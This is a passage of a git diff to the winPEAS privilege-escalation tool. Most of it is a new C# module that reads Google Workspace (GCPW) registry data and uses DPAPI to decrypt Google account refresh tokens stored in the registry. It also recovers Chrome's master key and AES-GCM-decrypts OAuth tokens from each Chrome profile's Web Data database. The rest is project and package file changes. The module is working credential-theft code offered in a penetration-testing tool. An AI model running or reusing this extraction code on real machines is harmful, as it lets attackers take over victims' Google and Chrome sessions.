Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Management.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Net.Http.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Security.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ServiceProcess.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Transactions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Web.Extensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Windows.Forms.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS\\bin\\Debug\\winPEAS.exe","OutputItemRelativePath":"winPEAS.exe"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
\ No newline at end of file
diff --git a/winPEAS/winPEASexe/winPEAS/App.config b/winPEAS/winPEASexe/winPEAS/App.config
index 23a90a8..9d37db7 100755
--- a/winPEAS/winPEASexe/winPEAS/App.config
+++ b/winPEAS/winPEASexe/winPEAS/App.config
@@ -1,9 +1,25 @@
-
+
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs b/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs
index bf1dc37..fa24631 100644
--- a/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs
+++ b/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs
@@ -14,7 +14,8 @@ namespace winPEAS.Checks
{
new AWSInfo(),
new AzureInfo(),
- new GCPInfo()
+ new GCPInfo(),
+ new GCPJoinedInfo()
};
foreach (var cloudInfo in cloudInfoList)
diff --git a/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs
new file mode 100644
index 0000000..a212c08
--- /dev/null
+++ b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs
@@ -0,0 +1,327 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Security.Cryptography;
+using System.Text;
+using winPEAS.Helpers;
+using Newtonsoft.Json;
+using System.Data.SQLite;
+using Org.BouncyCastle.Crypto;
+using Org.BouncyCastle.Crypto.Parameters;
+using Org.BouncyCastle.Crypto.Modes;
+using System.Linq;
+using Microsoft.Win32;
+
+
+namespace winPEAS.Info.CloudInfo
+{
+ internal class GCPJoinedInfo : CloudInfoBase
+ {
+ public override string Name => "Google Workspace Joined";
+
+ public override bool IsCloud => CheckIfGCPWUsers();
+
+ private Dictionary> _endpointData = null;
+
+ private List GetWorkspaceRegValues()
+ {
+ Dictionary workspaceRegValues = new Dictionary();
+ workspaceRegValues.Add("Domains Allowed", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW", @"domains_allowed_to_login"));
+
+ // Get all values from all subregistries of Users
+ string[] users = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\GCPW\Users");
+ for (int i = 0; i < users.Length; i++)
+ {
+ workspaceRegValues.Add($"HKLM Workspace user{i}", users[i]);
+ workspaceRegValues.Add($" Email{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"email"));
+ workspaceRegValues.Add($" Domain{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"domain"));
+ workspaceRegValues.Add($" Id{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"id"));
+ workspaceRegValues.Add($" Pic{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"pic"));
+ workspaceRegValues.Add($" User Name{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"user_name"));
+ workspaceRegValues.Add($" Last Policy Refresh Time{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"last_policy_refresh_time"));
+ workspaceRegValues.Add($" Last Token Valid Millis{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"last_token_valid_millis"));
+ }
+
+ string[] users3 = Helpers.Registry.RegistryHelper.GetRegSubkeys("HCKU", @"SOFTWARE\Google\Accounts");
+ if (users3.Length > 0)
+ {
+ workspaceRegValues.Add($"HKU Workspace user", System.Security.Principal.WindowsIdentity.GetCurrent().Name);
+ }
+
+ for (int i = 0; i < users3.Length; i++)
+ {
+ workspaceRegValues.Add($" HKU-Email{i}", Helpers.Registry.RegistryHelper.GetRegValue("HCKU", @"SOFTWARE\Google\Accounts\"+ users3[i], @"email"));
+ string refreshTokenPath = @"HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\" + users3[i];
+ byte[] refreshTokenB = (byte[])Registry.GetValue(refreshTokenPath, @"refresh_token", null);
+ if (refreshTokenB.Length > 0)
+ {
+ string refreshTokenDecrypted = DecryptRegRefreshToken(refreshTokenPath);
+ if (refreshTokenDecrypted.Length > 0)
+ workspaceRegValues.Add($" HKU-Refresh Token{i}", refreshTokenDecrypted);
+ }
+ }
+
+ // Get cloud management tokens
+ workspaceRegValues.Add("Chrome Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\Chrome", @"CloudManagementEnrollmentToken"));
+ workspaceRegValues.Add("Workspace Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\CloudManagement", @"EnrollmentToken"));
+
+ // Format the info in expected CloudInfo format
+ List _endpointDataList = new List();
+
+ foreach (var kvp in workspaceRegValues)
+ {
+ _endpointDataList.Add(new EndpointData()
+ {
+ EndpointName = kvp.Key,
+ Data = kvp.Value?.Trim(),
+ IsAttackVector = false
+ });
+ }
+
+ return _endpointDataList;
+ }
+
+ static string DecryptRegRefreshToken(string registryPath)
+ {
+ // Define the registry path where the refresh token is stored
+ string valueName = "refresh_token";
+
+ // Retrieve the encrypted refresh token from the registry
+ byte[] encryptedRefreshToken = (byte[])Registry.GetValue(registryPath, valueName, null);
+
+ if (encryptedRefreshToken == null || encryptedRefreshToken.Length == 0)
+ {
+ Console.WriteLine("No encrypted refresh token found in the registry.");
+ return "";
+ }
+
+ try
+ {
+ // Decrypt the refresh token using CryptUnprotectData
+ byte[] decryptedTokenBytes = ProtectedData.Unprotect(
+ encryptedRefreshToken,
+ null, // No additional entropy
+ DataProtectionScope.CurrentUser // Use the current user's scope
+ );
+
+ // Convert the decrypted token to an ASCII string
+ string refreshToken = Encoding.ASCII.GetString(decryptedTokenBytes);
+ return refreshToken;
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine("Error decrypting the refresh token: " + ex.Message);
+ }
+ return "";
+ }
+
+ public static bool CheckIfGCPWUsers()
+ {
+ string[] check = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\GCPW\Users");
+ return check != null && check.Length > 0;
+ }
+
+ public override Dictionary> EndpointDataList()
+ {
+ if (_endpointData == null)
+ {
+ _endpointData = new Dictionary>();
+
+ try
+ {
+ if (IsAvailable)
+ {
+ _endpointData.Add("Local Info", GetWorkspaceRegValues());
+ _endpointData.Add("Local Refresh Tokens", GetRefreshToken());
+ }
+ else
+ {
+ _endpointData.Add("General Info", new List()
+ {
+ new EndpointData()
+ {
+ EndpointName = "",
+ Data = null,
+ IsAttackVector = false
+ }
+ });
+ }
+ }
+ catch (Exception ex)
+ {
+ Beaprint.PrintException(ex.Message);
+ }
+ }
+
+ return _endpointData;
+ }
+
+ static List GetRefreshToken()
+ {
+ string chromeLocalStatePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State";
+ string masterKey = GetMasterKey(chromeLocalStatePath);
+
+ string[] chromeProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\", "Defaul*");
+ string[] chromeExtraProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\", "Profile*");
+ string[] chromeAllProfilePaths = chromeProfilePaths.Concat(chromeExtraProfilePaths).ToArray();
+ string[] refreshTokens = new string[0];
+
+ foreach (string profilePath in chromeAllProfilePaths)
+ {
+ string webDataPath = Path.Combine(profilePath, "Web Data");
+
+ if (File.Exists(webDataPath))
+ {
+ refreshTokens = ExtractRefreshTokens(webDataPath, masterKey);
+ }
+ }
+
+ List _endpointDataList = new List();
+
+ for (int i = 0; i < refreshTokens.Length; i++)
+ {
+ _endpointDataList.Add(new EndpointData()
+ {
+ EndpointName = $"Token{i}" ,
+ Data = refreshTokens[i].Trim(),
+ IsAttackVector = true
+ });
+ }
+
+ return _endpointDataList;
+ }
+
+ private static string GetMasterKey(string localStatePath)
+ {
+ string localStateJson = File.ReadAllText(localStatePath);
+ dynamic json = JsonConvert.DeserializeObject(localStateJson);
+ string encryptedKeyBase64 = json.os_crypt.encrypted_key;
+
+ byte[] encryptedKeyWithPrefix = Convert.FromBase64String(encryptedKeyBase64);
+ byte[] encryptedKey = new byte[encryptedKeyWithPrefix.Length - 5];
+ Array.Copy(encryptedKeyWithPrefix, 5, encryptedKey, 0, encryptedKeyWithPrefix.Length - 5);
+
+ byte[] masterKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
+ return Convert.ToBase64String(masterKey);
+ }
+
+ private static string[] ExtractRefreshTokens(string webDataPath, string masterKey)
+ {
+ List refreshTokens = new List();
+ try
+ {
+ using (SQLiteConnection connection = new SQLiteConnection($"Data Source={webDataPath};Version=3;"))
+ {
+ connection.Open();
+ string query = "SELECT service, encrypted_token FROM token_service;";
+
+ using (SQLiteCommand command = new SQLiteCommand(query, connection))
+ using (SQLiteDataReader reader = command.ExecuteReader())
+ {
+ while (reader.Read())
+ {
+ string service = reader["service"].ToString();
+
+ // Check if encrypted_token is null or empty
+ if (reader["encrypted_token"] == DBNull.Value)
+ {
+ Console.WriteLine("The encrypted_token is NULL in the database.");
+ continue;
+ }
+ byte[] encryptedToken = (byte[])reader["encrypted_token"];
+
+ string decryptedToken = DecryptWithAESGCM(encryptedToken, Convert.FromBase64String(masterKey));
+ refreshTokens.Add(decryptedToken);
+ }
+ }
+ }
+ return refreshTokens.ToArray();
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine("Error extracting refresh tokens (If Chrome is running the DB is probably locked): " + ex.Message);
+ return refreshTokens.ToArray();
+ }
+ }
+ public static string DecryptWithAESGCM(byte[] ciphertext, byte[] key)
+ {
+ // Constants
+ int nonceLength = 12; // GCM standard nonce length
+ int macLength = 16; // GCM authentication mac length
+ string versionPrefix = "v10"; // Matching kEncryptionVersionPrefix
+
+ // Convert prefix to byte array
+ byte[] versionPrefixBytes = Encoding.ASCII.GetBytes(versionPrefix);
+
+ // Check the prefix
+ if (ciphertext.Length < versionPrefixBytes.Length ||
+ !IsPrefixMatch(ciphertext, versionPrefixBytes))
+ {
+ throw new ArgumentException("Invalid encryption version prefix.");
+ }
+
+ // Extract the nonce from the ciphertext (after the prefix)
+ byte[] nonce = new byte[nonceLength];
+ Array.Copy(ciphertext, versionPrefixBytes.Length, nonce, 0, nonceLength);
+
+ // Extract the actual encrypted data (after the prefix and nonce)
+ int encryptedDataStartIndex = versionPrefixBytes.Length + nonceLength;
+ byte[] encryptedData = new byte[ciphertext.Length - encryptedDataStartIndex];
+ Array.Copy(ciphertext, encryptedDataStartIndex, encryptedData, 0, encryptedData.Length);
+
+ // Split the mac and actual ciphertext
+ byte[] mac = new byte[macLength];
+ Array.Copy(encryptedData, encryptedData.Length - macLength, mac, 0, macLength);
+
+ byte[] actualCiphertext = new byte[encryptedData.Length - macLength];
+ Array.Copy(encryptedData, 0, actualCiphertext, 0, actualCiphertext.Length);
+
+ // Perform the decryption using Bouncy Castle
+ try
+ {
+ GcmBlockCipher gcm = new GcmBlockCipher(new Org.BouncyCastle.Crypto.Engines.AesEngine());
+ AeadParameters parameters = new AeadParameters(new KeyParameter(key), macLength * 8, nonce);
+ gcm.Init(true, parameters);
+
+ byte[] plaintext = new byte[gcm.GetOutputSize(actualCiphertext.Length)];
+ int len = gcm.ProcessBytes(actualCiphertext, 0, actualCiphertext.Length, plaintext, 0);
+ string plaintextString = Encoding.ASCII.GetString(plaintext, 0, len);
+ gcm.DoFinal(plaintext, len);
+
+ return plaintextString;
+ }
+ catch (InvalidCipherTextException ex)
+ {
+ throw new CryptographicException("Decryption failed due to MAC mismatch", ex);
+ }
+ }
+
+ private static bool IsPrefixMatch(byte[] ciphertext, byte[] versionPrefixBytes)
+ {
+ for (int i = 0; i < versionPrefixBytes.Length; i++)
+ {
+ if (ciphertext[i] != versionPrefixBytes[i])
+ return false;
+ }
+ return true;
+ }
+
+ private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
+ {
+ using (MemoryStream ms = new MemoryStream())
+ {
+ using (CryptoStream cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
+ {
+ cryptoStream.Write(data, 0, data.Length);
+ cryptoStream.FlushFinalBlock();
+ return ms.ToArray();
+ }
+ }
+ }
+
+ public override bool TestConnection()
+ {
+ return true;
+ }
+ }
+}
diff --git a/winPEAS/winPEASexe/winPEAS/packages.config b/winPEAS/winPEASexe/winPEAS/packages.config
index 168249c..57f88ef 100644
--- a/winPEAS/winPEASexe/winPEAS/packages.config
+++ b/winPEAS/winPEASexe/winPEAS/packages.config
@@ -1,4 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj
index 19a037c..16d92d5 100755
--- a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj
+++ b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj
@@ -1,5 +1,6 @@
+
Debug
@@ -8,7 +9,7 @@
Exe
winPEAS
winPEAS
- v4.5.2
+ v4.8
512
true
@@ -114,12 +115,55 @@
+
+ ..\packages\Portable.BouncyCastle.1.9.0\lib\net40\BouncyCastle.Crypto.dll
+
+
+ ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll
+
+
+ ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll
+
+
+ ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll
+
+
+
+
+ ..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\lib\net451\System.Data.SQLite.dll
+
+
+ ..\packages\System.Data.SQLite.EF6.1.0.119.0\lib\net451\System.Data.SQLite.EF6.dll
+
+
+ ..\packages\System.Data.SQLite.Linq.1.0.119.0\lib\net451\System.Data.SQLite.Linq.dll
+
+
+ ..\packages\System.IO.4.3.0\lib\net462\System.IO.dll
+ True
+ True
+
+
+ ..\packages\System.Runtime.4.3.0\lib\net462\System.Runtime.dll
+ True
+ True
+
+
+ ..\packages\System.Security.Cryptography.Encoding.4.3.0\lib\net46\System.Security.Cryptography.Encoding.dll
+ True
+ True
+
+
+ ..\packages\System.Security.Cryptography.Primitives.4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll
+ True
+ True
+
@@ -1043,6 +1087,7 @@
+
@@ -1341,4 +1386,14 @@
+
+
+ This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user
index faa7a28..8b0bbb2 100755
--- a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user
+++ b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user
@@ -5,7 +5,7 @@
- cloudinfo -network="auto" -ports="21,22,445"
+ cloudinfo
debug